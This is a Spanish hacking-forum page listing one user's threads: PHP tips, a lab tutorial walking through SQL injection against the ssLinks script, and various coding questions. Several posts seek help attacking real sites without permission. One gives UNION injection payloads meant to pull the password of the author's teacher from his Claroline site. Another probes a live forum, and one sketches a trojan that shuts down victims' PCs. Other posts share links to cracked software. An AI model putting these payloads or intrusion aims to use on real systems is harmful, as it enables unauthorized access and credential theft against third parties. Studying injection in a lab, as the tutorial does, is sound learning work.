Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Ertai

#1
Redes / VPN IP extranjera
2 Agosto 2011, 21:01 PM
Hola buenas,

Por razones externas a mí, necesito conectarme a Internet a través de una IP alemana desde aqui España. Alguien sabe que pasos debería seguir exactamente?

Entiendo que necesito contratar un servidor... Pero como lo encuentro? Yo contratar hosting fácil, pero tema VPNs... La verdad es que no tengo mucha idea.

Que precio rondarían y que hay que mirar para que realmente pudiese usar un servidor como VPN?

Es para conexion de poco tráfico, pero necesita conectividad estable 100% todo el año, no me importa pagar por un buen servicio.

Saludos y gracias!
#5
PHP / [Proyecto] PHP ActiveRecord elhacker.net
20 Noviembre 2007, 12:41 PM
Hola PHPeros  ;D

Últimamente veo mucho código por aquí que carece de algún tipo de estructura simple, que no usa ninguna clase para BDD, etc.

He pensado en hacer una clase ActiveRecord muy básica para introducir a parte de los usuarios en el mundo de las clases y de los objetos de una manera útil y que puedan añadir muy fácilmente a sus proyectos.

La idea es poder aprender como empezar, como tener una buena idea, como distribuirse correctamente y con la intención de que cada usuario amplie la clase para sus necesidades. No haremos nada del otro mundo, la idea es que el usuario no se desanime con demasiado código, que con poco código podamos tener una gran herramienta.

Que os parece la idea?

Comentad lo que querais.

Saludos.
#11
Pues eso, quería crear este post para ir poniendo pequeños truquillos, aunque sean tonterias, pero que nos pueden ayudar en ciertos momentos cuando programamos.

Este post es para que le vayais hechando un ojo de vez en cuando, y que, si algun día os encontreís un problema podais acudir aquí para ver como se hacía.


Scripts PHP-MYSQL
http://foro.elhacker.net/php/scripts_phpmysql-t48315.0.html

Clases hechas en PHP (POO)
http://foro.elhacker.net/php/clases_hechas_en_php_poo-t147928.0.html

Glosario de funciones
http://foro.elhacker.net/php/glosario_de_funciones-t65126.0.html





Evitar la caché de los navegadores
A veces podemos encontrarnos el problema de que una página no nos actualiza el contenido porque está en caché. Se puede solucionar modificando las cabeceras.

Código (php) [Seleccionar]

<?php
header
"Expires: Mon, 26 Jul 1997 05:00:00 GMT" );  // disable IE caching
header"Last-Modified: " gmdate"D, d M Y H:i:s" ) . " GMT" ); 
header"Cache-Control: no-cache, must-revalidate" ); 
header"Pragma: no-cache" );
?>






Contador en SQL
Puede ser que necesitemos un contador (de lecturas, por ejemplo) de una noticia guardada en SQL. Si queremos aumentar este valor, muchos habríamos leído el campo, lo hubieramos incrementado y luego hubieramos hecho el UPDATE. Pues hay una forma mucho más fácil, segura y limpia de hacerlo y con solo una SQL.

Código (php) [Seleccionar]

<?php
mysql_query
('UPDATE trucos SET lecturas = lecturas + 1 WHERE id=12 LIMIT 1'); 
?>






Hacer funcionar la función mail()
En local, la función mail() nos devolverá un error porque no tenemos configurado un cliente SMTP.

Aquí teneis la forma más fácil y rápida de solucionar este problema.

http://www.forosdelweb.com/showpost.php?p=662241&postcount=115




Intercambiar colores en X filas
A la hora de hacer listados, puede darse el caso que la legibilidad de las filas no sea buena, por lo tanto sera conveniente usar dos colores diferentes de background para cada fila, de manera que se vayan intercalando y la legibilidad sea buena. Como hacemos esto? Pues una de las maneras más elegantes es usar el operador ternario. Ahí va:

Código (php) [Seleccionar]

<?php
$color 
"#000000";
$i 0;
while (
$i 10
{
   
$color = ($color == "#000000") ? "#FFFFFF" "#000000";
   echo 
$color."<br>";
   
$i++;
}
?>






Fechas en MySQL
Una lista de funciones muy útiles para trabajar con fechas en nuestra base de datos MySQL

http://www.xlwebmasters.com/modules.php?d=doc&f=doc2&id=1057




Saber si un año es bisiesto
Pues eso :xD (por Azielito)

Código (php) [Seleccionar]

<?php
function Bisiesto($anyo)
{
return checkdate(02,29,$anyo);
}
?>



... y asi funciona ...

Código (php) [Seleccionar]

<?php
$actual 
date("Y");
$sig $actual+1;
if(
Bisiesto($actual)){
echo $actual." es bisiesto<br>";
}else{
echo $actual." no es bisiesto<br>";
}

if(
Bisiesto($sig)){
echo $sig." es bisiesto<br>";
}else{
echo $sig." no es bisiesto<br>";
}
?>






Forzar descarga
Forzar la descarga de un archivo desde PHP en un navegador

Código (php) [Seleccionar]

header("Content-type: application/force-download");
#12
Nuestra biblia


  • Todo, aquí esta absolutamente todo. Recomendable lectura para aquellos que de verdad quieran ponerse con PHP al 100%. La biblia de cualquier PHP-Coder.
    http://cl.php.net/manual/es/index.php

Videotutoriales


Tutoriales


eMule (ed2k)


  • Gran tutorial de PHP 5 y MySQL
    ed2k://|file|PHP.5.and.MySQL.Bible.pdf|16748392|76A3EA9B0F5361E9EE0606411B369F82|/


  • Manual extenso de PHP
    ed2k://|file|PHP%20Manual%20Completo%20Espa%C3%B1ol.pdf|11623226|92BB585D0F6F333E40E8BF91AAF4BB2B|/


Mensajes interesantes del foro (Tutoriales o ayudas)

#13
PHP / [Obligatorio] Normas del subforo de PHP.
9 Noviembre 2006, 00:02 AM
Bienvenido al subforo de PHP.

Aquí trataremos todo lo relacionado con este lenguaje en todas sus versiones y también todo lo que envuelva a este mundo de la programación PHP (SQL, Ajax, etc...)




1. [Prohibido] Cosas genéricas de CMS / Bases de datos.

Este subforo es para programación. Si tienes problemas con la instalacion de algun CMS o buscas plugins y otras parecidas, esta el subforo de Desarrollo web. Solo se admitirán dudas relacionadas con el desarrollo de funcionalidades propias, es decir, si quieres codear un plugin o parecido.

Lo mismo para bases de datos. Si la consulta es específicamente sobre bases de datos (crear tablas, tipos de campos etc..) van en el subforo de Bases de Datos. http://foro.elhacker.net/bases_de_datos-b88.0/


2. [Obligatorio] ¡Los códigos van entre etiquetas!

Para no dañar los ojos de los visitantes y usuarios, para facilitar la lectura (y posterior respuesta), los códigos deben ir entre etiquetas geshi y coloreados.

Para conseguir este efecto, se despliega la lista llamada GeSHi que tenemos en la zona de BBC al crear un tema y/o responder un mensaje y seleccionamos el lenguaje que queramos utilizar. Una vez hecho, en el campo de texto aparecerán las etiquetas [code=lenguaje][/code] entre las cuales deberemos poner nuestro código. Si el lenguaje no esta en la lista, el código se escribe entre etiquetas [code]codigo aquí..[/code]


3. [Prohibido] Pedir tarea/trabajo.

Aunque los usuarios que respondan a tu duda pueden poner el código completo, o resolver un problema, QUEDA PROHIBIDO, crear/responder posts que piden que se les haga la tarea o el trabajo que ellos deben hacer. Es decir, si vienes con la intención de que te hagan la tarea o el trabajo, mejor vete a otro lado.

Los temas/respuestas de este tipo, se borran nada mas se vean.

4. [Recomendado] Marcar posts como resueltos. ()

Los posts que se resuelvan deben ser marcados como resueltos. Lo ideal es modificar el primer post y cambiar el titulo añadiendo [Resuelto] o (Resuelto) ya sea al principio o al final del propio titulo. Adicionalmente, se ha instalado el mod Topic Solved que añade un check al lado de cada respuesta. Si la respuesta fue correcta, úsalo.

5. [Prohibido] Hacer doble post.

La única excepción para postear dos veces seguidas sera "uppear" el tema a primera pagina. Es decir, si tu duda ha pasado a las siguientes paginas y ya no es visible pero todavía no la has resuelto, puedes subir el tema a primera pagina posteando un "up" o pidiendo mas ayuda dentro del propio tema.

Mas tarde dicho post puede ser borrado a discreción del moderador pero solo cuando el tema ya haya subido.

Se prohíbe, subir a primera pagina tutoriales, dudas resueltas y/o temas que ya han sido subidos una vez.




Aparte de estas normas, leer las generales que se aplican en todo el foro.
-> http://foro.elhacker.net/reglas


PD: Si queréis postear una gran cantidad de código, para que sea más fácil leer, podéis usar la siguiente herramienta:

NoPaste
http://paste.debian.net/


Saludos
#14
PHP / El futuro de PHP :: Los FrameWork
7 Noviembre 2006, 12:11 PM
Un vídeo vale más que mil palabras:

# The Video (AVI format) (ci_sample_app.avi, 20.9MB)
http://video.derekallard.com/video_files/ci_sample_app.avi

# The Video (MOV format) (ci_sample_app.mov, 84.3MB)
http://video.derekallard.com/video_files/ci_sample_app.mov

# The Video (WMV format) (ci_sample_app.wmv, 16.6MB)
http://video.derekallard.com/video_files/ci_sample_app.wmv

Saludos y a disfrutarlo  :D
#15
Atacando a una aplicación real. El como y el porque de las inyecciones SQL.

Prefacio

Este artículo tiene como objetivo, hacer saber al lector, que es lo que pasa exactamente dentro de la aplicación cuando hacemos una inyección SQL. De esta manera, pretendo evitar que el lector haga simples copy&paste para atacar a una web y que en algún momento tenga los conocimientos necesarios para poder modificar la sentencia a su antojo.

El programa que atacaremos [ssLinks v1.22 - http://scripts.incutio.com/sslinks/] contiene una vulnerabilidad encontrada por SirDarckCat el día 4 de septiembre del 2006.

Nivel

Principiante.

Herramientas necesarias


  • Bloc de notas o editor de texto.
  • Servidor web donde alojar PHP y poder ejecutarlo con MySQL. (Puedes crearte una cuenta en un hosting gratuito o montarte tu propio servidor web)
  • ssLinks v1.22 - http://scripts.incutio.com/sslinks/sslinks-v122.zip
  • Ganas de aprender  ;D

Montando el escenario

Primero extraemos todos los ficheros del archivo zip dentro de nuestro servidor local o los subimos a nuestra cuenta de hosting. Lo mismo da, lo importante es poder ejecutar el programa desde un navegador web.



Una vez extraídos o subidos, abrimos desde el navegador el archivo install.php. Veremos algo parecido a lo siguiente:



Aquí debemos introducir nuestros datos de la base de datos. Si teneis una cuenta de hosting, estos datos os habrán llegado por mail o los tendreís en vuestro panel de administración. Si, en cambio, teneis un servidor local, estos datos los tendríais que saber  :P

Nota: Si por cualquier razón, a alguien no le funciona el install.php, aquí os dejo los 3 pasos que tendreis que hacer a mano.

Ejecutar estas dos sentencias SQL desde un interprete para MySQL o desde el phpMyAdmin.


CREATE TABLE sslinkcats (
   lcat_id int(11) NOT NULL auto_increment,
   lcat_cat int(11) DEFAULT '0' NOT NULL,
   lcat_name varchar(100) NOT NULL,
   lcat_header text,
   lcat_ranking int(11),
   lcat_numlinks int(11) DEFAULT '0' NOT NULL,
   PRIMARY KEY (lcat_id)
)



CREATE TABLE sslinks (
   link_id int(11) NOT NULL auto_increment,
   link_cat int(11) DEFAULT '0' NOT NULL,
   link_name varchar(100) NOT NULL,
   link_url varchar(255) NOT NULL,
   link_desc text,
   link_hits int(11) DEFAULT '0' NOT NULL,
   link_totalrate int(11),
   link_numvotes int(11),
   link_dateadd int(11),
   link_addemail varchar(255),
   link_addname varchar(100),
   link_validated char(3),
   link_recommended char(3) DEFAULT 'no' NOT NULL,
   PRIMARY KEY (link_id)
)


Y por último, cambiar estas líneas del archivo global.inc.php:


// mySQL database Host / Name / Username / Password

$db_host = "localhost"; // Your mySQL server host address
$db_name = "sslinks"; // The name of the database to use
$db_user = "username"; // Your mySQL username
$db_pass = "password"; // Your mySQL password


Más adelante nos pedirá el nombre de usuario y el password que queremos para ssLinks. Si no habeís usado el instalador, dejadlo, porque al ser una aplicación de prueba, dejaremos estos dos valores por defecto.

Una vez instalado todo, podemos borrar tranquilamente el archivo install.php y entramos en el links.php.
Veremos algo así:



Si vamos a Admin Login nos salen unos valores por defecto, los aceptamos si no hemos usado el instalador, y si no, introducimos los que pusimos.

Igualmente estos datos se pueden encontrar en el archivo global.inc.php


// Admin username / password for the script

$admin_user = "Admin"; // This is the username used to log in as an admin
$admin_pass = "sslinks"; // This is the password used to log in as an admin


Una vez loggeados como administradores, veremos un panel para agregar categorías y links. Nosotros agregaremos 3 links diferentes para hacer las pruebas.



Ok. Perfecto. Logout y tenemos el escenario montado  :D

Antes de empezar hacer varios clicks sobre el primer link que hayais puesto (ID=1), para ver luego el ataque final. (lo veremos más adelante)

El ataque

Empezemos lo divertido  :D

Antes que nada miremos lo primero de todo. Los links, no redireccionan a la página directamente sino que pasan por la misma página otra vez con un argumento "go".



Lo veis? Este link nos envia a links.php?go=ID donde cada link tiene su ID. Así mismo, es de imaginar la estructura del programa:

Link a la página -> Llegamos al mismo sitio pero con el argumento go -> Nos lleva a la página que pertenece el ID.

De esta manera, el programa puede llevar unas estadísticas sobre los clicks que se han hecho al link en questión.

Pues bien, miremos primero de todo si la variable go es vulnerable.

Abrimos el archivo links.php:


<?php
/***********************************************************
*
* ssLinks v1.1 - a PHP / mySQL links management system
* (c) Simon Willison 2001
* For more information, visit www.tfc-central.co.uk/sslinks/
*
***********************************************************/

// See global.inc.php for changes since version 1.0.

include("global.inc.php"); //Change this if global.inc.php is in a different directory

// You should not need to change anything below this line.

$admin is_admin();
$return numlinks_array(); // Build array of number of links in each category
$numlinks $return[0];
$numlinkstree $return[1];

if ((!
$cat) && (!$go) && (!$action))
$cat 0;

if (isset(
$go))
{
jump_to($go);
}

if (
$action == "login")
{
if ($username)
login($username$password);
}

...

?>



Ahora toca pensar como una máquina  :-*

Ok, como podeis ver, en la línea 24, pone if(isset($go)). Expliquemos un poco esto. La función isset() devuelve true cuando la variable que le pasamos como argumento esta declarada. Como hemos visto que el programa pasaba como argumento la variable "go", es evidente que la función isset devolverá, en este caso, true. Con lo que nos queda que la variable $go, será enviada a una función jump_to().

Si os fijais, la función jump_to() no está declarada en links.php, por lo tanto ha tenido que ser incluida, cosa que podemos ver en la línea 12...

include("global.inc.php");

Pues nos toca buscar esta función en tal archivo.

Abrimos el archivo global.inc.php y... sorpresa!

En la línea 543 encontramos la función!


<?php
function jump_to($id)
{
// redirect user to URL of $id and increment the hit counter
global $db_host$db_name$db_user$db_pass;
$cnx mysql_connect($db_host$db_user$db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name$cnx)
or custom_die("Unable to select database.");
$result mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num mysql_num_rows($result);
if ($num == 0)
{
header("Location: links.php");
exit;
}
while ($row mysql_fetch_array($result))
{
$hits $row["link_hits"];
$url $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
header("Location: $url");
exit;
}
?>



Y una breve explicación de lo que hace (redirect user to URL of $id and increment the hit counter).

Excelente! Es justo lo que habíamos deducido: la variable go llega al archivo, se consulta a la base de datos que URL esta asociada a tal ID, y nos redirije a ella, despues de haber incrementando el contador.

Nota: Ahora en la función, la variable $go cambia de nombre por la cabecera de la función y pasa a llamarse $id. Esto no nos afectará...

Impresionante! Hemos encontrado nuestro primer bug!! Lo veís todos? Si, si...

$result = mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");

La variable $id se pasa como sentencia SQL sin estar limpiada!!

Ok, antes de continuar, haremos tres cosas básicas. Supondremos que en nuestro servidor tenemos las magic_quotes desactivadas, por que en caso contrario sería imposible inyectar código.

La segunda será imprimir en pantalla la sentencia SQL, y la tercera anular los header, para que no nos redirija a ningún lado  (de momento)

Para ello, modificar la función de tal manera que quede así:


<?php
function jump_to($id)
{
        $id stripslashes($id);
// redirect user to URL of $id and increment the hit counter
global $db_host$db_name$db_user$db_pass;
$cnx mysql_connect($db_host$db_user$db_pass)
or custom_die("Unable to connect to database server.");
mysql_select_db($db_name$cnx)
or custom_die("Unable to select database.");
echo "SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'";
$result mysql_query("SELECT link_url, link_hits FROM sslinks WHERE link_id = '$id'");
if (!$result)
custom_die("SQL result failed");
$num mysql_num_rows($result);
if ($num == 0)
{
//header("Location: links.php");
exit;
}
while ($row mysql_fetch_array($result))
{
$hits $row["link_hits"];
$url $row["link_url"];
}
$hits++;
$result2 = @mysql_query("UPDATE sslinks SET link_hits = '$hits' WHERE link_id = '$id'");
//header("Location: $url");
exit;
}
?>



Lo que hemos hecho es lo siguiente. Con la función stripslashes() evitamos el efecto de las magic_quotes sobre la variable $id y más adelante imprimimos simplemente la consulta SQL antes de enviarla al MySQL. Además comentamos los headers para poder ver el efecto que tiene nuestro ataque, porque sino nos redirije.

Perfecto... Empezemos a hacer pruebas!

En nuestro navegador escribamos...

http://localhost/sslinks-v122/links.php?go=ertai r00lz XD

Y que sale?

SELECT link_url, link_hits FROM sslinks WHERE link_id = 'ertai r00lz XD'

Esto es la consulta SQL que hemos enviado. Como veis la variable no ha sido limpiada. Y aquí esta el bug.

Que significa no limpiar la variable? Pues en este caso el programador esperaba recibir un número, pero nosotros como "curiosos" le enviamos una cadena de texto y el programa no se queja. Nuestro objetivo es enviar una cadena de texto que sea capaz de sacar datos de la base de datos. Y en eso consisten las inyecciones SQL.

Un poco de SQL...

Podría escribir páginas enteras hablando de SQL pero se que aburre y la gente quiere algo práctico.

Pues bien, (casi) toda inyección comenza con un UNION. Porque? Porque nosotros sabemos que podemos insertar código a traves de la variable go. El resto de la instrucción SQL no es modificable, por lo tanto, tendremos que adaptarnos nosotros a ella. Por eso el uso de UNION. Union "concatena" por así decir los resultados de diferentes instrucciones SQL.

Supongamos que nuestra aplicación, funcionando normalmente, esta preparada para UN SOLO RESULTADO. Porqué? Porque en condiciones normales, solo hay un ID, que devuelve la URL a la cual queremos ir (el link) y NO mas resultados.

Por eso, nosotros tendremos que hacer que la SQL original (la primera) NO de resultados (-¡pero tampoco error!-) y que la nuestra inyectada devuelve UN resultado y así en el código todo cuadrara.

Además, el número de campos para seleccionar en nuestra consulta inyectada debe ser el mismo, ya que el resource devuelto (el resultado) ha de ser "quadrado".



P: Como hacemos que la consulta primera no de resultado ni error?
R: Pues cojemos un ID imposible, como -1 (menos uno)

P: Como cojemos nuestros datos?
R: Pues para mostrar como funciona esto, cojeremos como ejemplo los hits del ID=1.

P: Pero si los hits del ID=1 es solo un campo, y necesitamos dos.
R: Cierto, así que usaremos un pequeño truco  :P

Manos a la obra:


SELECT link_url, link_hits FROM sslinks WHERE link_id = 'AQUI PODEMOS INYECTAR'


Ok, hacemos el UNION SELECT y cojemos el campo hits de la misma tabla.

SELECT link_url, link_hits FROM sslinks WHERE link_id = '-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1'

Ahora esta claro, no? Le decimos que coja los datos del -1, lo cual devolverá un resultado vacío porque no existe el -1, y pasara al UNION... si os fijais, el primer campo link_hits corresponde al link_url de la primera, para que nos redirija a una URL que no será ni nada mas ni nada menos que los hits del id = 1. El segundo campo, cojemos otra vez los hits, para cuadrar con la primera instrucción SQL.

Por lo tanto, si extraemos la SQL inyectada del trozo inyectable de la primera queda que lo que hemos de poner entre los '' es lo siguiente:

-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1

Si os fijais bien, faltan la primera comilla del -1 y la ultima del 1, eso es para que cuadre con las que hay en la sentencia SQL original.

Si todo va bien, nos intentara llevar a una URL que resultara ser el número de visitas del ID=1. Para eso, quitad las // (doble barras) que habíamos puesto delante de los dos header() dentro de la función y guardad, el resto de modificaciones dejadlas. Los headers harán que nos redirijan.

Por lo tanto, escribid en vuestro navegador:

http://RUTA_DONDE_TENGAIS_SSLINKS/links.php?go=-1' UNION SELECT link_hits, link_hits FROM sslinks WHERE link_id = '1

Y como veis nos intenta llevar a:

http://RUTA_DONDE_TENGAIS_SSLINKS/numero

... donde numero es el numero de visitas del link con ID=1.

Podeis hacer más visitas reales y luego volver a inyectar y vereis como el numero sube, porque son los hits.

Ahora esto no tiene mucha lógica, pero imaginaos si en vez de sacar el numero de hits, nos redijiera al hash del password del admin. La cosa cambia, no? jeje.

Pues eso es todo. Espero poder tener tiempo para ir modificando todo y hacerlo más claro, aunque creo que si os poneis lo acabareis sacando.

Recordad que podeis postear cualquier duda, pero intentad antes resolverla por vuestra cuenta. Si habeis leido el texto bien, os habreis dado cuenta de que el hacking es también astucia e imaginación, saber encontrar el truco donde nadie lo habría pensado. Por eso no es nada mecánico, y la única manera de poder sacar las cosas solo, es intentarlo e intentarlo e intentarlo, hasta agotar las ideas y luego preguntar.

Agradecimientos

A todo el staff de elhacker.net, aquellos que están y los que estuvieron.

Y gracias a vosotros por haber llegado hasta esta última linea.

Un saludo,
Ertai
---edit---
imagenes de imageshack regresadas :P
#16
Realmente les dejo la idea, porque me falta tiempo para hacerla, una verdadera lástima.

La idea es emular el cliente por web, pero esta vez por WAP.

Más difícil? Sí, pero es posible.

La idea sería, para empezar, crear algo sencillito.

Un troyano descargando un txt cada minuto. Si la descarga da error, el troyano NO apaga el PC, si el txt existe, SI se apaga.

Luego solo falta crear una página WAP (Google), que al ser visitada a través del móvil/celular cree un archivo txt o que llame a otra página que lo cree.

Haber si alguien se anima...  :D
#17
Joder macho,

Hacía AÑOS que no instalaba un juego y ayer lo hago, bajo el Steam, me actualiza todo (varias horas), me bajo el Cheating Death y abro la pestaña de servidores y todo bien, muchos servidores con ping bajo  :) ...

Pero veo que todos tienen algo de VAC (algo sobre seguridad), intento entrar y cuando ya ha cargado lo de precaching resources, se me cierra el Counter y no me entra.

¡¡ En ninguna partida !!  :'(

Por una vez que intento jugar a algo...

Haber si sabeís como solucionar esto.

Gracias por adelantado.

[broma]PD A los mods: Menos escuchar esa música rara... y mas contestar xDD[/broma]
#18
Multimedia / Tutorial WinAvi Video Converter
21 Septiembre 2005, 13:35 PM
Buenas!

Pues nosé si hago bien de postear esto, que lo decida Songoku, pero aquí quiero explicar como lo hago yo para pasar de AVI o MPG a DVD con el WinAvi Video Converter, ya que he mirado y en el foro se habla poco de este programa.

La verdad es que, para llegar a este método, tuve que hacer muchas pruebas, y tuve que leer mucho acerca del tema y hoy quiero compartirlo con vosotros.

Para empezar, necesitaremos el WinAVI Video Converter, en el eMule lo encontrareis con Crack, os dejo el eLink:

ed2k://|file|WinAVI.Video.Converter.v6.3.CRACKED-OMS.rar|2912498|11BFD8A53C8B04A7D1FFF27D2587D719|/

Esta versión es la 6.3, yo uso la 5.8 pero existe la 7.0, en el eMule si poneis WinAVI Video Converter os saldrán un montón de resultados.

Bien, una vez instalado y crackeado, es muy muy fácil de usar.

Lo abrimos, y nos vamos al botón donde pone DVD



Clicamos y se nos abre una ventana donde elegimos nuestra pelicula, video, etc.

Podemos seleccionar múltiples formatos!! Solo aclarar que todas las pelis que me he bajado del eMule, las he convertido con este programa, fueran del tipo que fueran ;)

Una vez seleccionado, encontramos esto



Ok, arriba vemos la pelicula que hemos seleccionado, en mi caso Asalto al Distrito 13.

Más abajo, donde pone Select Output Directory, seleccionamos una carpeta o algún lugar donde se guardaran los archivos DVD. Pues eso, crea una carpeta. Asegurate que allí tienes más de 4 Gigas, a veces ocupan menos, pero es mejor curarse en salud, no vaya a ser que te quedes sin espacio xD.

En Select Output Format, seleccionamos a que formato lo queremos pasar, en mi caso a DVD, para sentarme en el sofa comiendo palomitas y viendo una peli  ;D ;D

Si clicamos en Advanced (Aunque no es necesario) nos encontramos esto



Ok, en Source frame rate, lo dejaremos en Auto, porque dependrá de la peli que hayamos seleccionado, y que lo detecte el programa mismo, que para eso lo hemos crackeado xDD

Seleccionamos el Startup to fluff pictures, y en Target Format, pues le metemos PAL si estamos en Europa, NTSC si estamos en EEUU, y si es otro pais, pues deberias saberlo de sobras o sinó consultais con alguien, o con el propio manual del televisor.

Target Scale lo dejamos en Auto, tambien lo autodetectará el programa, sirve más que nada para saber si una pelicula tiene el formato 4:3 (imagen mas quadrada) o 16:9 (imagen mas de cine, mas alargada)

En la pestaña Output, pues seleccionaremos como queremos que salgan los archivos. En mi caso, como lo quiero grabar en DVD, pues selecciono Fixed Output Size con 1 DVD de 4.3 GB.
Cabe resaltar que rara vez una pelicula de 700 MB nos ocupara más de 4.3 GB. A mi nunca me ha pasado y he hecho esto mas de 200 veces desde que tengo grabadora de DVDs.

Luego, cuando acabemos de configurar todo esto, le damos a OK, y salimos aquí



Como veis el proceso ya ha empezado.

Tenemos dos opciones arriba.

Open the preview window. No sirve para nada, simplemente veremos que trozo de la peli se esta convirtiendo.

La otra opción Shut Down the computer... sirve para apagar el PC cuando todo el trabajo ha acabado. Bastante útil si lo dejamos por la noche.

Donde pone Frame Rate, de podría decir que es la velocidad, a mi me oscila entre los 60 y 80, depende de que esté haciendo en el background. Eso depende muchisimo del procesador, yo tengo un AMD 2600+, y veis que la pelicula no tarda más de 40 minutos en ser convertida. Para un AMD 2000+ tarda 1 hora más o menos. Es cuestión de probar, y con los datos que os doy, podreis haceros una idea.

Una vez acabado el proceso, saldrá un mensaje que pondrá Succed in Converting. Le damos a OK y seguimos!

Grabar pelicula con Nero.

El Nero no es el único programa que nos permite grabar los archivos, pero es el que uso yo y al que estoy acostumbrado.

Abrimos el StartSmart o lo que tengais, dependiendo de la versión del Nero y seleccionais DVD -> Foto y Vídeo -> Grabar archivos de DVD de vídeo. Por cierto, los que tengais StartSmart debeis estar en modo experto para ver esta opción.



Ahora seleccionamos la carpeta VIDEO_TS y alli metemos TODOS los archivos que nos ha generado el WinAVI. Donde estan? Pues fácil. En la carpeta que seleccionasteis antes de convertir la película. Recuerdo los meteis TODOS en esa carpeta del Nero.



Luego le dais a siguiente, grabais y pelicula en DVD.

El siguiente paso es ir al sofá y disfrutarla.

Recuerdo que el WinAVI ofrece muchisimas posibilidades de conversión, aunque aquí solo haya explicado una.

Saludos,
Ertai.
#19
Programación Visual Basic / Pipes
13 Septiembre 2005, 20:46 PM
Estoy mirando algo de las pipes... pero tengo una duda.

Hasta que punto son útiles?

Porque resulta que yo lo quiero sustituir por el método que utilizaba hasta ahora que era el de dir>prueba.txt que todos conoceis.

Pero me he encontrado un código fuente y me permite poner en un TextBox un comando... Por ejemplo netstat, pero como podria dar yo una respuesta?

Es que estoy un poco liado jeje, yo lo que quiero es poder interactuar con la consola, por ejemplo que si pongo un comando que me pida Si o No, que YO pueda responder lo que quiera, porque con el metodo de guardarlo en un archivo no me sirve.

Slasher, ya se que hay algo sobre pipes en el foro... pero no lo he encontrado...

Algun link con codigos?¿

Saludos.
#20
Pues resulta que uso la siguiente API

Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long


para descargar páginas de Internet, pero cuando la llamo una vez, se debe guardar en algun buffer y si vuelvo a llamar a la API para la misma pagina, no vuelve ha descargar, sino que la saca del buffer. Esto no me sirve pues necesito que CADA VEZ descarge el archivo de Internet, aunque sea la misma página!

Alguna propuesta?

Saludos.
#21
Ingeniería Inversa / Profesor X
9 Septiembre 2005, 16:18 PM
Alguien sabe que le ha pasado?

Entro en su web y sale "Profesor X was busted. Closed forever. 2005"  ??? ???

http://hackemate.com.ar/cracking/

Saludos.
#22
Bueno, haber si tienen alguna idea.

Resulta que necesito alguna manera para hacer esto:

1.- Tengo un variable String con texto.
2.- He de buscar todo lo que no sea abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNROPQRSTUVWXYZ01234567890 y sustituirlo por su valor en ASCII entre corchetes (Ejemplo [234])

Alguna idea de como empezar?

Saludos,
Ertai
#23
Bueno, me he dado cuenta que no se pueden escribir "Anónimos" en este foro y antes si que se podia, porque a veces se revive un post viejo y ves algún "Visitante"...

Mi pregunta es porque se deshabilitó esta opción?

Yo creo que es más practica tenerla, así se evitaría los típicos que se registran, escriben un post sobre como hackear Hotmail y no vuelven a venir...

Que opinan?

Saludos,
Ertai.
#24
Buenas!

Tengo un pequeño problemilla. Tengo que hacer un programa que a partir de unos datos que se le dan, cree otro ejecutable.

El típico ejemplo sería el troyano que crea servidores personalizados a partir de ciertos datos.

Mi pregunta es la siguiente: Como lo hago?
Demasiado general.

Entonces más concreta:
Como empiezo? Lo meto en un editor hexadecimal y miro donde están los datos? Como creo el archivo en sí desde otro archivo?

Desde ya, gracias.

Saludos.
#25
Nivel Web / SQL Injection otra vez...
3 Junio 2005, 03:54 AM
Bien, resulta que mi profesor de mátematicas que se cree Dios tiene una página web, y quiero conseguir su contraseña y enviarsela por e-mail, sin hacer ningún deface, simplemente mostrarle que no es perfecto.

Su página utiliza Claroline, es un tipo de aula con cursos programada en PHP y MySQL. LLevaba tiempo investigando y luego encontré esto:


claroline/user/userInfo.php?uInfo=-1%20UNION%20SELECT%20username,password,0,0,0,0,0%20from%20user%20where%20user_id=1/* claroline/tracking/exercises_details.php?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1--


Pero resulta que al poner esto, no sale nada, ni un error ni nada, y nose como mejorar la sintaxis, ultimamente me estoy poniendo bastante con SQL Injection, leyendo bastante, pero necesito ayuda para continuar.

Saludos!
Ertai
#26
Nivel Web / Algun entendido en SQL Injection?
10 Mayo 2005, 18:54 PM
Despues de intentar un injección SQL con esta URL:

http://*****/wowbb/view_user.php?list=1&letter=&sort_by=SQL INJECTION

Donde pone SQL INJECTION, yo puse ' HAVING 1=1-- para que me diera un error y poder sacar información.
Y saco esto:

Petición SQL Inválida: SELECT u.*, m.mana FROM wowbb_users u LEFT JOIN wowbb_manas m USING (user_id) WHERE user_activation_key = '' ORDER BY , u.user_name LIMIT 0, 40-You have an error in your SQL syntax near ' u.user_name LIMIT 0, 40' at line 1

Pero lo intento todo y me quedo en el mismo error, no avanzo  :'(
Alguien me puede ayudar?
Recuerdo que lo que yo pongo va despues de ORDER BY

Saludos,
Ertai
#27
Programación Visual Basic / cifrado MD5
9 Mayo 2005, 17:19 PM
Buenas!
Aquí teneis un código para hashear vuestros passwords en MD5.
El código no es mio, esta bajado de una página web que ya menciono en el codigo fuente.
Lo único que he hecho es "habilitar" el código, es decir añadir los TextBox para que veais exactamente como funciona (comento esto, porque se que cuesta manejar los códigos largos y complicados cuando uno es principiante).
Repito: solo he añadido un par de cosas para que podais usarlo y veias que funciones hay que llamar y como llamarlas.

Descarga: http://ertai.siteburg.com/md5.ola

Teneis que renombrar el archivo a md5.rar, es que sino no podia subirlo, jeje.

Saludos,
Ertai